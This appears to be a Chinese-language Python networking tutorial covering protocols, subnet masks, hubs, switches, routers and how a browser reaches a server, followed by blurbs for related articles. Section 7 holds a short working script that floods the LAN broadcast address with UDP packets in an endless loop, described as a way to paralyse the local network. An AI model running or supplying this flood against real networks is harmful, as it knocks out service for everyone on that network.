python网络通信图文详解

目录
  • 1. 常用的网络协议
  • 2. 数据传输过程
  • 3.  两台电脑通信
  • 4. IP地址网络号与主机号的确定规则
  • 5.  最开始集线器解决多台电脑通信
  • 6. 使用交换机进行网络通信
  • 7. 使用udp协议实现内网瘫痪
  • 8. 使用路由器连接多个网络
  • 9. 浏览器访问服务器的过程
  • 总结

1. 常用的网络协议

ICMP协议又叫:网络控制协议

2. 数据传输过程

3.  两台电脑通信

网络传输的是数据的信号而不是电流

4. IP地址网络号与主机号的确定规则

通过ip地址和网络掩码的二进制数实行按位与运算,计算的结果转换为十进制,非0的就是网络号,0的就是主机号

5.  最开始集线器解决多台电脑通信

但是集线器是以广播的形式发送数据,设备一多就会导致网络拥堵。

6. 使用交换机进行网络通信

单播写对方的mac地址,广播mac地址写6组FF:FF:FF:FF:FF:FF

7. 使用udp协议实现内网瘫痪

先根据IP地址和网络掩码二进制按位与计算出网络号,在使用udp往当前局域网(网络号)下面无线循环发广播,使局域网濒临瘫痪

import socket  # 导入socket

def main():
    try:
        # 1、创建socket套接字
        udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  # socket.SOCK_DGRAM 这里是指定UDP协议

        # 2、指定地址
        data_address = ("192.168.255.255", 64300)
        # 地址要是一个 元组,第一个"192.168.100.255"是内网的广播地址,第二个 64300 是你计算机当前的端口#
        # 这个端口不必太在意,64300 只要不是被其他程序占用的就行,

        # 3、发送数据
        while True:
            send_data = "1" * 57175
            # 这里发送的数据可以随意点

            udp_socket.sendto(send_data.encode("UTF-8"), data_address)
            # 第一个参数sendData.encode("UTF-8")是要发送的数据,("UTF-8")是设置发送数据的编码,
            # 第二个参数(dataAddress)是发送数据的地址,也就是笔者内网的广播地址

    except Exception as result:
        print("未知错误" + str(result))

if __name__ == '__main__':
    main()

8. 使用路由器连接多个网络

路由器的作用:连接两个以上的网络为一个大网络

网关:具有转发数据能力的设备

当AB两台电脑不在同一个网络下想进行通信时,A电脑需要先把数据发送到默认网关,网关具有转发数据的能力,网关再把数据转发给B电脑,默认网关一般都是路由器

数据在转发的过程当中,ip地址不变,mac地址每转发一次就发生一次变化

9. 浏览器访问服务器的过程

(1)向DNS服务器发送请求进行解析域名

(2)向http服务器发送3次握手

(3)握手成功后,向http服务器发送Http格式的请求数据

(4)所有请求完毕后,向http服务器发送4次挥手

网络数据包发送过程当中源IP目标IP不变,源mac和目标mac每通过路由器网关转发一次就会发生一次变化

总结

本篇文章就到这里了,希望能给你带来帮助,也希望您能够多多关注我们的更多内容!

(0)

相关推荐

  • Python利用PyQt5制作一个获取网络实时数据NBA数据播报GUI功能

    制作NBA数据爬虫 捋顺思路 我们在这里选择的是百度体育带来的数据,我们在百度当中直接搜索NBA跳转到网页,我们可以看到,百度已经为我们提供了相关的数据 我们点击进去后,可以发现这是一个非常简洁的网址 我们看一下这个地址栏,发现毫无规律https://tiyu.baidu.com/live/detail/576O5Zu955S35a2Q6IGM5Lia56%2Bu55CD6IGU6LWbI2Jhc2tldGJhbGwjMjAyMS0wNi0xMyPniLXlo6t2c%2BWspritq%2Bi

  • 教你使用Python建立任意层数的深度神经网络

    目录 一.神经网络介绍: 二.数据集 三.激活函数 四.正向传播 五.损失函数 六.反向传播 七.总体思路 一.神经网络介绍: 神经网络算法参考人的神经元原理(轴突.树突.神经核),在很多神经元基础上构建神经网络模型,每个神经元可看作一个个学习单元.这些神经元采纳一定的特征作为输入,根据自身的模型得到输出. 图1 神经网络构造的例子(符号说明:上标[l]表示与第l层:上标(i)表示第i个例子:下标i表示矢量第i项) 图2 单层神经网络示例 神经元模型是先计算一个线性函数(z=Wx+b),接着再计

  • 分析python并发网络通信模型

    目录 一.常见模型分类 1.1.循环服务器模型 1.2.IO并发模型 1.3.多进程/线程网络并发模型 二.基于fork的多进程网络并发模型 三.基于threading的多线程网络并发 四.ftp 文件服务器 4.1.项目功能 4.2.整体结构设计 五.IO并发 5.1.IO分类 5.2.IO多路复用 5.3.位运算 5.4.poll方法实现IO多路复用 5.5.epoll方法 一.常见模型分类 1.1.循环服务器模型 循环接收客户端请求,处理请求.同一时刻只能处理一个请求,处理完毕后再处理下一

  • Python中socket网络通信是干嘛的

    Socket是什么 Socket是一个抽象层,连接了应用层与传输层,是一组接口. 在设计模式中,Socket其实就是一个门面模式,它把复杂的TCP/IP协议族隐藏在Socket接口后面,对用户来说,一组简单的接口就是全部,让Socket去组织数据,以符合指定的协议. 所以,我们无需深入理解tcp/udp协议,socket已经为我们封装好了,我们只需要遵循socket的规定去编程,写出的程序自然就是遵循tcp/udp标准的.建立网络通信连接至少要一对端口号(socket).socket本质是编程接

  • Python实现socket库网络通信套接字

    Socket 套接字:通讯端点 简介 socket起源于Unix,而Unix/Linux基本哲学之一就是"一切皆文件",对于文件用[打开][读写][关闭]模式来操作.socket就是该模式的一个实现,socket即是一种特殊的文件,一些socket函数就是对其进行的操作(读/写IO.打开.关闭). Socket 是任何一种计算机网络通讯中最基础的内容.Socket通讯一般用户C/S结构系统的网络通讯. Socket 网络通讯是基于TCP(传输控制协议)或UDP(用户数据报协议)两种协议

  • python网络通信图文详解

    目录 1. 常用的网络协议 2. 数据传输过程 3.  两台电脑通信 4. IP地址网络号与主机号的确定规则 5.  最开始集线器解决多台电脑通信 6. 使用交换机进行网络通信 7. 使用udp协议实现内网瘫痪 8. 使用路由器连接多个网络 9. 浏览器访问服务器的过程 总结 1. 常用的网络协议 ICMP协议又叫:网络控制协议 2. 数据传输过程 3.  两台电脑通信 网络传输的是数据的信号而不是电流 4. IP地址网络号与主机号的确定规则 通过ip地址和网络掩码的二进制数实行按位与运算,计算

  • (手写)PCA原理及其Python实现图文详解

    目录 1.背景 2.样本均值和样本方差矩阵 3.PCA 3.1 最大投影方差 3.2 最小重构距离 4.Python实现 总结 1.背景 为什么需要降维呢? 因为数据个数 N 和每个数据的维度 p 不满足 N >> p,造成了模型结果的"过拟合".有两种方法解决上述问题: 增加N;减小p. 这里我们讲解的 PCA 属于方法2. 2.样本均值和样本方差矩阵 3.PCA 3.1 最大投影方差 3.2 最小重构距离 4.Python实现 """ -*

  • Python Django的安装配置教程图文详解

    Django 教程 Python下有许多款不同的 Web 框架.Django是重量级选手中最有代表性的一位.许多成功的网站和APP都基于Django. Django是一个开放源代码的Web应用框架,由Python写成. Django遵守BSD版权,初次发布于2005年7月, 并于2008年9月发布了第一个正式版本1.0 . Django采用了MVC的软件设计模式,即模型M,视图V和控制器C. 学习Django前,我们要确定电脑上是否已经安装了Python,目前Python有两个版本,不过这两个版

  • python安装virtualenv虚拟环境步骤图文详解

    一.安装virtualenv 点击左下角最边上菜单栏输入cmd,打开命令行 2.根据版本的不同输入命令pip install virtualenv(或者pip3 install virtualenv ) 3.进入你想创建的虚拟环境空间的路径,然后创建一个文件,(注释:我在我的E盘的python文件下建立了一个文件叫dcjvirtual) 4.进入dcjvirtual文件,用dir命令(虚拟机是ls)列出所有文件 5.进入dcjvirtual文件下的Scripts文件,用dir命令打开如下图所示:

  • Python和Anaconda和Pycharm安装教程图文详解

    Anaconda 是一个基于 Python 的数据处理和科学计算平台,它已经内置了许多非常有用的第三方库,装上Anaconda,就相当于把 Python 和一些如 Numpy.Pandas.Scrip.Matplotlib 等常用的库自动安装好了,使得安装比常规 Python 安装要容易.如果选择安装Python的话,那么还需要 pip install 一个一个安装各种库,安装起来比较痛苦,还需要考虑兼容性,非如此的话,就要去Python官网(https://www.python.org/dow

  • Python解释器以及PyCharm的安装教程图文详解

    本文给大家分享Python解释器安装以及PyCharm安装过程.很多朋友问小编要完整的安装教程,现分享给大家. 一.Python解释器安装 解释器(英语:Interpreter),又译为直译器,是一种电脑程序能够把高级编程语言一行一行直接转译运行.解释器不会一次把整个程序转译出来,只像一位"中间人",每次运行程序时都要先转成另一种语言再作运行,因此解释器的程序运行速度比较缓慢.它每转译一行程序叙述就立刻运行,然后再转译下一行,再运行,如此不停地进行下去. Python的下载网站:Pyt

  • Python 开发工具PyCharm安装教程图文详解(新手必看)

    PyCharm是由JetBrains打造的一款Python IDE,VS2010的重构插件Resharper就是出自JetBrains之手. 同时支持Google App Engine,PyCharm支持IronPython.这些功能在先进代码分析程序的支持下,使 PyCharm 成为 Python 专业开发人员和刚起步人员使用的有力工具. PyCharm是一种Python IDE,带有一整套可以帮助用户在使用Python语言开发时提高其效率的工具,比如调试.语法高亮.Project管理.代码跳

  • 最新Python idle下载、安装与使用教程图文详解

    简介:IDLE是Python软件包自带的一个集成开发环境,可以方便地创建.运行.调试Python程序.本文包括IDEL安装.使用配置.和运行调试教程. 由于Google.YouTube等大型公司的推广,python编程语言越来越受欢迎,很多编程爱好者,也将Python做为了首先的编程语言. 今天我们就来讲一下,学习的第一步,安装Python idle编辑器,也它的调试和使用. 第一步,我们先去下载一个Python idle程序安装包. 本节讲的是windows下的idle,Linux idle是

  • Python的Pillow库进行图像文件处理(图文详解)

    目录 目标 1.打开PyCharm,创建一个新的.py文件 2.配置环境 3.PIL库概述 4.代码段 本文详解的讲解了使用Pillow库进行图片的简单处理,使用PyCharm开发Python的详细过程和各种第三方库的安装与使用. 目标 1.熟悉Python的开发环境: 2.掌握Pillow库的安装方法: 3.熟悉Pillow库的使用方法. 开始吧! 1.打开PyCharm,创建一个新的.py文件 2.配置环境 本文中使用Python3.6版本开发 点击ok 2.库的安装使用 在搜索栏中输入pi

  • 图文详解感知机算法原理及Python实现

    目录 写在前面 1.什么是线性模型 2.感知机概述 3.手推感知机原理 4.Python实现 4.1 创建感知机类 4.2 更新权重与偏置 4.3 判断误分类点 4.4 训练感知机 4.5 动图可视化 5.总结 写在前面 机器学习强基计划聚焦深度和广度,加深对机器学习模型的理解与应用.“深”在详细推导算法模型背后的数学原理:“广”在分析多个机器学习模型:决策树.支持向量机.贝叶斯与马尔科夫决策.强化学习等. 本期目标:实现这样一个效果 1.什么是线性模型 线性模型的假设形式是属性权重.偏置与属性

随机推荐